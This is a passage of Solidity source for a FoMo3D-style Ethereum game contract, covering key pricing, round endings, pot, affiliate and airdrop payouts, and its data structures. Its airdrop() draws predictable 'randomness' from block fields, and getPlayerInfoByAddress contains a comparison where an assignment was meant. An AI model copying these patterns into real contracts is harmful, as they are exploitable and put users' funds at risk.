payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; // fire event emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; // fire event emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; // fire event emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } //============================================================================== // _ _ _|__|_ _ _ _ . // (_|(/_ | | (/_| _\ . (for UI & viewing things on etherscan) //=====_|======================================================================= /** * @dev return the price buyer will pay for next 1 individual key. * -functionhash- 0x018a25e8 * @return price for next key bought (in wei format) */ function getBuyPrice() public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // are we in a round? if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else // rounds over. need price for new round return ( 75000000000000 ); // init } /** * @dev returns time left. dont spam this, you'll ddos yourself from your node * provider * -functionhash- 0xc7e284b8 * @return time left in seconds */ function getTimeLeft() public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } /** * @dev returns player earnings per vaults * -functionhash- 0x63066434 * @return winnings vault * @return general vault * @return affiliate vault */ function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { // setup local rID uint256 _rID = rID_; // if round has ended. but round end has not been run (so contract has not distributed winnings) if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { // if player is winner if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); // if player is not the winner } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } // if round is still going on, or round has ended and round end has been ran } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } /** * solidity hates stack limits. this lets us avoid that hate */ function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } /** * @dev returns all current round info needed for front end * -functionhash- 0x747dff42 * @return eth invested during ICO phase * @return round id * @return total keys for round * @return time round ends * @return time round started * @return current pot * @return current team ID & player ID in lead * @return current player in leads address * @return current player in leads name * @return whales eth in for round * @return bears eth in for round * @return sneks eth in for round * @return bulls eth in for round * @return airdrop tracker # & airdrop pot */ function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { // setup local rID uint256 _rID = rID_; return ( round_[_rID].ico, //0 _rID, //1 round_[_rID].keys, //2 round_[_rID].end, //3 round_[_rID].strt, //4 round_[_rID].pot, //5 (round_[_rID].team + (round_[_rID].plyr * 10)), //6 plyr_[round_[_rID].plyr].addr, //7 plyr_[round_[_rID].plyr].name, //8 rndTmEth_[_rID][0], //9 rndTmEth_[_rID][1], //10 rndTmEth_[_rID][2], //11 rndTmEth_[_rID][3], //12 airDropTracker_ + (airDropPot_ * 1000) //13 ); } /** * @dev returns player info based on address. if no address is given, it will * use msg.sender * -functionhash- 0xee0b5d8b * @param _addr address of the player you want to lookup * @return player ID * @return player name * @return keys owned (current round) * @return winnings vault * @return general vault * @return affiliate vault * @return player round eth */ function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { // setup local rID uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, //0 plyr_[_pID].name, //1 plyrRnds_[_pID][_rID].keys, //2 plyr_[_pID].win, //3 (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), //4 plyr_[_pID].aff, //5 plyrRnds_[_pID][_rID].eth //6 ); } //============================================================================== // _ _ _ _ | _ _ . _ . // (_(_)| (/_ |(_)(_||(_ . (this + tools + calcs + modules = our softwares engine) //=====================_|======================================================= /** * @dev logic runs whenever a buy order is executed. determines how to handle * incoming eth depending on if we are in an active round or not */ function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // if round is active if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { // call core core(_rID, _pID, msg.value, _affID, _team, _eventData_); // if round is not active } else { // check to see if end round needs to be ran if (_now > round_[_rID].end && round_[_rID].ended == false) { // end the round (distributes pot) & start new round round_[_rID].ended = true; _eventData_ = endRound(_eventData_); // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire buy and distribute event emit F3Devents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } // put eth in players vault plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } /** * @dev logic runs whenever a reload order is executed. determines how to handle * incoming eth depending on if we are in an active round or not */ function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) private { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // if round is active if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { // get earnings from all vaults and return unused to gen vault // because we use a custom safemath library. this will throw if player // tried to spend more eth than they have. plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); // call core core(_rID, _pID, _eth, _affID, _team, _eventData_); // if round is not active and end round needs to be ran } else if (_now > round_[_rID].end && round_[_rID].ended == false) { // end the round (distributes pot) & start new round round_[_rID].ended = true; _eventData_ = endRound(_eventData_); // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire buy and distribute event emit F3Devents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } } /** * @dev this is the core logic for any buy/reload that happens while a round * is live. */ function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { // if player is new to round if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); // early round eth limiter if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000) { uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } // if eth left is greater than min eth allowed (sorry no pocket lint) if (_eth > 1000000000) { // mint the new keys uint256 _keys = (round_[_rID].eth).keysRec(_eth); // if they bought at least 1 whole key if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); // set new leaders if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; // set the new leader bool to true _eventData_.compressedData = _eventData_.compressedData + 100; } // manage airdrops if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { // gib muni uint256 _prize; if (_eth >= 10000000000000000000) { // calculate prize and give it to winner _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); // adjust airDropPot airDropPot_ = (airDropPot_).sub(_prize); // let event know a tier 3 prize was won _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { // calculate prize and give it to winner _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); // adjust airDropPot airDropPot_ = (airDropPot_).sub(_prize); // let event know a tier 2 prize was won _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { // calculate prize and give it to winner _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); // adjust airDropPot airDropPot_ = (airDropPot_).sub(_prize); // let event know a tier 3 prize was won _eventData_.compressedData += 300000000000000000000000000000000; } // set airdrop happened bool to true _eventData_.compressedData += 10000000000000000000000000000000; // let event know how much was won _eventData_.compressedData += _prize * 1000000000000000000000000000000000; // reset air drop tracker airDropTracker_ = 0; } } // store the air drop tracker number (number of buys since last airdrop) _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); // update player plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); // update round round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); // distribute eth _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); // call end tx function to fire end tx event. endTx(_pID, _team, _eth, _keys, _eventData_); } } //============================================================================== // _ _ | _ | _ _|_ _ _ _ . // (_(_||(_|_||(_| | (_)| _\ . //============================================================================== /** * @dev calculates unmasked earnings (just calculates, does not update mask) * @return earnings in wei format */ function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } /** * @dev returns the amount of keys you would get given an amount of eth. * -functionhash- 0xce89c80c * @param _rID round ID you want price for * @param _eth amount of eth sent in * @return keys received */ function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { // grab time uint256 _now = now; // are we in a round? if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else // rounds over. need keys for new round return ( (_eth).keys() ); } /** * @dev returns current eth price for X keys. * -functionhash- 0xcf808000 * @param _keys number of keys desired (in 18 decimal format) * @return amount of eth needed to send */ function iWantXKeys(uint256 _keys) public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // are we in a round? if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else // rounds over. need price for new round return ( (_keys).eth() ); } //============================================================================== // _|_ _ _ | _ . // | (_)(_)|_\ . //============================================================================== /** * @dev receives name/player info from names contract */ function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } /** * @dev receives entire player name list */ function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } /** * @dev gets existing or registers new pID. use this when a player may be new * @return pID */ function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; // if player is new to this version of fomo3d if (_pID == 0) { // grab their player ID, name and last aff ID, from player names contract _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); // set up player account pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != "") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; // set the new player bool to true _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } /** * @dev checks to make sure user picked a valid team. if not sets team * to default (sneks) */ function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } /** * @dev decides if round end needs to be run & new round started. and if * player unmasked earnings from previously played rounds need to be moved. */ function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { // if player has played a previous round, move their unmasked earnings // from that round to gen vault. if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); // update player's last round played plyr_[_pID].lrnd = rID_; // set the joined round bool to true _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } /** * @dev ends the round. manages paying out winner/splitting up pot */ function endRound(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { // setup local rID uint256 _rID = rID_; // grab our winning player and team id's uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; // grab our pot amount uint256 _pot = round_[_rID].pot; // calculate our winner share, community rewards, gen share, // p3d share, and amount reserved for next pot uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot / 50); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d); // calculate ppt for round mask uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } // pay our winner plyr_[_winPID].win = _win.add(plyr_[_winPID].win); // community rewards admin.transfer(_com); admin.transfer(_p3d.sub(_p3d / 2)); round_[_rID].pot = _pot.add(_p3d / 2); // distribute gen portion to key holders round_[_rID].mask = _ppt.add(round_[_rID].mask); // prepare event data _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.P3DAmount = _p3d; _eventData_.newPot = _res; // start next round rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } /** * @dev moves any unmasked earnings to gen vault. updates earnings mask */ function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { // put in gen vault plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); // zero out their earnings by updating mask plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } /** * @dev updates round timer based on number of whole keys bought. */ function updateTimer(uint256 _keys, uint256 _rID) private { // grab time uint256 _now = now; // calculate time based on number of keys bought uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); // compare to max and set new end time if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } /** * @dev generates a random number between 0-99 and checks to see if thats * resulted in an airdrop win * @return do we have a winner? */ function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } /** * @dev distributes eth based on fees to com, aff, and p3d */ function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { // pay 3% out to community rewards uint256 _p1 = _eth / 100; uint256 _com = _eth / 50; _com = _com.add(_p1); uint256 _p3d; if (!address(admin).call.value(_com)()) { // This ensures Team Just cannot influence the outcome of FoMo3D with // bank migrations by breaking outgoing transactions. // Something we would never do. But that's not the point. // We spent 2000$ in eth re-deploying just to patch this, we hold the // highest belief that everything we create should be trustless. // Team JUST, The name you shouldn't have to trust. _p3d = _com; _com = 0; } // distribute share to affiliate uint256 _aff = _eth / 10; // decide what to do with affiliate share of fees // affiliate must not be self, and must have a name registered if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _p3d = _aff; } // pay out p3d _p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100)); if (_p3d > 0) { // deposit to divies contract uint256 _potAmount = _p3d / 2; admin.transfer(_p3d.sub(_potAmount)); round_[_rID].pot = round_[_rID].pot.add(_potAmount); // set up event data _eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount); } return(_eventData_); } function potSwap() external payable { // setup local rID uint256 _rID = rID_ + 1; round_[_rID].pot = round_[_rID].pot.add(msg.value); emit F3Devents.onPotSwapDeposit(_rID, msg.value); } /** * @dev distributes eth based on fees to gen and pot */ function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { // calculate gen share uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; // toss 1% into airdrop pot uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); // update eth balance (eth = eth - (com share + pot swap share + aff share + p3d share + airdrop pot share)) _eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); // calculate pot uint256 _pot = _eth.sub(_gen); // distribute gen share (thats what updateMasks() does) and adjust // balances for dust. uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); // add eth to pot round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); // set up event data _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } /** * @dev updates masks for round and player when keys are bought * @return dust left over */ function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { /* MASKING NOTES earnings masks are a tricky thing for people to wrap their minds around. the basic thing to understand here. is were going to have a global tracker based on profit per share for each round, that increases in relevant proportion to the increase in share supply. the player will have an additional mask that basically says "based on the rounds mask, my shares, and how much i've already withdrawn, how much is still owed to me?" */ // calc profit per key & round mask based on this buy: (dust goes to pot) uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); // calculate player earning from their own buy (only based on the keys // they just bought). & update player earnings mask uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); // calculate & return dust return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } /** * @dev adds up unmasked earnings, & vault earnings, sets them all to 0 * @return earnings in wei format */ function withdrawEarnings(uint256 _pID) private returns(uint256) { // update gen vault updateGenVault(_pID, plyr_[_pID].lrnd); // from vaults uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } /** * @dev prepares compression data and fires event for buy or reload tx's */ function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit F3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } //============================================================================== // (~ _ _ _._|_ . // _)(/_(_|_|| | | \/ . //====================/========================================================= /** upon contract deploy, it will be deactivated. this is a one time * use function that will activate the contract. we do this so devs * have time to set things up on the web end **/ bool public activated_ = false; function activate() public { // only team just can activate require(msg.sender == admin, "only admin can activate"); // can only be ran once require(activated_ == false, "FOMO Short already activated"); // activate the contract activated_ = true; // lets start first round rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } } //============================================================================== // __|_ _ __|_ _ . // _\ | | |_|(_ | _\ . //============================================================================== library F3Ddatasets { //compressedData key // [76-33][32][31][30][29][28-18][17][16-6][5-3][2][1][0] // 0 - new player (bool) // 1 - joined round (bool) // 2 - new leader (bool) // 3-5 - air drop tracker (uint 0-999) // 6-16 - round end time // 17 - winnerTeam // 18 - 28 timestamp // 29 - team // 30 - 0 = reinvest (round), 1 = buy (round), 2 = buy (ico), 3 = reinvest (ico) // 31 - airdrop happened bool // 32 - airdrop tier // 33 - airdrop amount won //compressedIDs key // [77-52][51-26][25-0] // 0-25 - pID // 26-51 - winPID // 52-77 - rID struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; // winner address bytes32 winnerName; // winner name uint256 amountWon; // amount won uint256 newPot; // amount in new pot uint256 P3DAmount; // amount distributed to p3d uint256 genAmount; // amount distributed to gen uint256 potAmount; // amount added to pot } struct Player { address addr; // player address bytes32 name; // player name uint256 win; // winnings vault uint256 gen; // general vault uint256 aff; // affiliate vault uint256 lrnd; // last round played uint256 laff; // last affiliate id used } struct PlayerRounds { uint256 eth; // eth player has added to round (used for eth limiter) uint256 keys; // keys uint256 mask; // player mask uint256 ico; // ICO phase investment } struct Round { uint256 plyr; // pID of player in lead uint256 team; // tID of team in lead uint256 end; // time ends/ended bool ended; // has round end function been ran uint256 strt; // time round started uint256 keys; // keys uint256 eth; // total eth in uint256 pot; // eth to pot (during round) / final amount paid to winner (after round ends) uint256 mask; // global mask uint256 ico; // total eth sent in during ICO phase uint256 icoGen; // total eth for gen during ICO phase uint256 icoAvg; // average key price for ICO phase } struct TeamFee { uint256 gen; // % of buy in thats paid to key holders of current round uint256 p3d; // % of buy in thats paid to p3d holders } struct PotSplit { uint256 gen; // % of pot thats paid to key holders of current round uint256 p3d; // % of pot thats paid to p3d holders } } //============================================================================== // | _ _ _ | _ . // |<(/_\/ (_(_||(_ . //=======/====================================================================== library F3DKeysCalcShort { using SafeMath for *; /** * @dev calculates number of keys received given X eth * @param _curEth current amount of eth in contract * @param _newEth eth being spent * @return amount of ticket purchased */ function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } /** * @dev calculates amount of eth received if you sold X keys * @param _curKeys current amount of keys that exist * @param _sellKeys amount of keys you wish to sell * @return amount of eth received */ function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } /** * @dev calculates how many keys would exist with given an amount of eth * @param _eth eth "in contract" * @return number of keys that would exist */ function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } /** * @dev calculates how much eth would be in contract given a number of keys * @param _keys number of keys "in contract" * @return eth that would exists */ function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } //============================================================================== // . _ _|_ _ _ |` _ _ _ _ . // || | | (/_| ~|~(_|(_(/__\ . //============================================================================== interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } /** * @title -Name Filter- v0.1.9 * ┌┬┐┌─┐┌─┐┌┬┐ ╦╦ ╦╔═╗╔╦╗ ┌─┐┬─┐┌─┐┌─┐┌─┐┌┐┌┌┬┐┌─┐ * │ ├┤ ├─┤│││ ║║ ║╚═╗ ║ ├─┘├┬┘├┤ └─┐├┤ │││ │ └─┐ * ┴ └─┘┴ ┴┴ ┴ ╚╝╚═╝╚═╝ ╩ ┴ ┴└─└─┘└─┘└─┘┘└┘ ┴ └─┘ * _____ _____ * (, / /) /) /) (, / /) /) * ┌─┐ / _ (/_ // // / _ // _ __ _(/ * ├─┤ ___/___(/_/(__(_/_(/_(/_ ___/__/_)_(/_(_(_/ (_(_(_ * ┴ ┴ / / .-/ _____ (__ / * (__ / (_/ (, / /)™ * / __ __ __ __ _ __ __ _ _/_ _ _(/ * ┌─┐┬─┐┌─┐┌┬┐┬ ┬┌─┐┌┬┐ /__/ (_(__(_)/ (_/_)_(_)/ (_(_(_(__(/_(_(_ * ├─┘├┬┘│ │ │││ ││ │ (__ / .-/ © Jekyll Island Inc. 2018 * ┴ ┴└─└─┘─┴┘└─┘└─┘ ┴ (_/ * _ __ _ ____ ____ _ _ _____ ____ ___ *=============| |\ | / /\ | |\/| | |_ =====| |_ | | | | | | | |_ | |_)==============* *=============|_| \| /_/--\ |_| | |_|__=====|_| |_| |_|__ |_| |_|__ |_| \==============* * * ╔═╗┌─┐┌┐┌┌┬┐┬─┐┌─┐┌─┐┌┬┐ ╔═╗┌─┐┌┬┐┌─┐ ┌──────────┐ * ║ │ ││││ │ ├┬┘├─┤│ │ ║ │ │ ││├┤ │ Inventor │ * ╚═╝└─┘┘└┘ ┴ ┴└─┴ ┴└─┘ ┴ ╚═╝└─┘─┴┘└─┘ └──────────┘ */ library NameFilter { /** * @dev filters name strings * -converts uppercase to lower case. * -makes sure it does not start/end with a space * -makes sure it does not contain multiple spaces in a row * -cannot be only numbers * -cannot start with 0x * -restricts characters to A-Z, a-z, 0-9, and space. * @return reprocessed string in bytes32 format */ function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; //sorry limited to 32 characters require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters"); // make sure it doesnt start with or end with space require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space"); // make sure first two characters are not 0x if (_temp[0] == 0x30) { require(_temp[1] != 0x78, "string cannot start with 0x"); require(_temp[1] != 0x58, "string cannot start with 0X"); } // create a bool to track if we have a non number character bool _hasNonNumber; // convert & check for (uint256 i = 0; i < _length; i++) { // if its uppercase A-Z if (_temp[i] > 0x40 && _temp[i] < 